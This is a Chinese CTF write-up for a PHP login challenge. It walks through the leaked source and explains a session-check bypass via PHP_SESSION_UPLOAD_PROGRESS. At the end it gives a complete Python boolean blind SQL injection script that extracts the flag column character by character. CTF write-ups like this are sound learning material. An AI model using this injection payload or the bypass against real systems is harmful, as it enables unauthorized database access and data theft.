没啥思路,看网页源代码,有个zip,下载/source.zip得到源码
index.php
<?php session_start(); foreach ($_SESSION as $key => $value): $_SESSION[$key] = filter($value); endforeach; foreach ($_GET as $key => $value): $_GET[$key] = filter($value); endforeach; foreach ($_POST as $key => $value): $_POST[$key] = filter($value); endforeach; foreach ($_REQUEST as $key => $value): $_REQUEST[$key] = filter($value); endforeach; function filter($value) { !is_string($value) AND die("Hacking attempt!"); return addslashes($value); } isset($_GET['p']) AND $_GET['p'] === "register" AND $_SERVER['REQUEST_METHOD'] === 'POST' AND isset($_POST['username']) AND isset($_POST['password']) AND @include('templates/register.php'); isset($_GET['p']) AND $_GET['p'] === "login" AND $_SERVER['REQUEST_METHOD'] === 'GET' AND isset($_GET['username']) AND isset($_GET['password']) AND @include('templates/login.php'); isset($_GET['p']) AND $_GET['p'] === "home" AND @include('templates/home.php'); ?>
register.php
<?php !isset($_SESSION) AND die("Direct access on this script is not allowed!"); include 'db.php'; (preg_match('/(a|d|m|i|n)/', strtolower($_POST['username'])) OR strlen($_POST['username']) < 6 OR strlen($_POST['username']) > 10 OR !ctype_alnum($_POST['username'])) AND $con->close() AND die("Not allowed!"); $sql = 'INSERT INTO `ptbctf`.`ptbctf` (`username`, `password`) VALUES ("' . $_POST['username'] . '","' . md5($_POST['password']) . '")'; ($con->query($sql) === TRUE AND $con->close() AND die("The user was created successfully!")) OR ($con->close() AND die("Error!")); ?>
login.php
<?php !isset($_SESSION) AND die("Direct access on this script is not allowed!"); include 'db.php'; $sql = 'SELECT `username`,`password` FROM `ptbctf`.`ptbctf` where `username`="' . $_GET['username'] . '" and password="' . md5($_GET['password']) . '";'; $result = $con->query($sql); function auth($user) { $_SESSION['username'] = $user; return True; } ($result->num_rows > 0 AND $row = $result->fetch_assoc() AND $con->close() AND auth($row['username']) AND die('<meta http-equiv="refresh" content="0; url=?p=home" />')) OR ($con->close() AND die('Try again!')); ?>
index.php有过滤搞不了,register.php过滤也超多
(preg_match('/(a|d|m|i|n)/', strtolower($_POST['username'])) OR strlen($_POST['username']) < 6 OR strlen($_POST['username']) > 10 OR !ctype_alnum($_POST['username'])) AND $con->close() AND die("Not allowed!");
这种写法第一次见,开始还以为写错了,挺有意思的,就是AND前面是true才执行后面的语句,OR前面是false才执行后面的语句。然后这里的意思前面有个大的括号里有一个满足就会执行$con->close()
,然后这个执行返回true的话就会执行die(“Not allowed!”);
这里过滤也很严,长度也限制了,不行。
最后看到login.php
没有过滤,有个$_SESSION
的判断,用PHP_SESSION_UPLOAD_PROGRESS绕过就好
https://www.freebuf.com/vuls/202819.html
然后下面这个代码就相当于判断我们sql语句执行返回结果,导致bool盲注
($result->num_rows > 0 AND $row = $result->fetch_assoc() AND $con->close() AND auth($row['username']) AND die('<meta http-equiv="refresh" content="0; url=?p=home" />')) OR ($con->close() AND die('Try again!'));
import requests url="http://210ae153-9ac8-4e4c-b100-daee168464ab.node4.buuoj.cn:81/templates/login.php" files={'1.txt':'111111'} datas={'PHP_SESSION_UPLOAD_PROGRESS':'2333'} cookies={'PHPSESSID':'test1'} flag="" for i in range(1,100): low=32 high=128 mid=(low+high)//2 while low<high: payload='" or (ascii(substr((select group_concat(secret) from flag_tbl ),{},1))>{})#'.format(i,mid) params={'password':'test1','username':payload} r=requests.post(url,params=params,data=datas,files=files,cookies=cookies) if "Try again!" not in r.text: low=mid+1 else: high=mid mid=(low+high)//2 print(low,mid,high) flag+=chr(mid) print(flag) if mid==32: break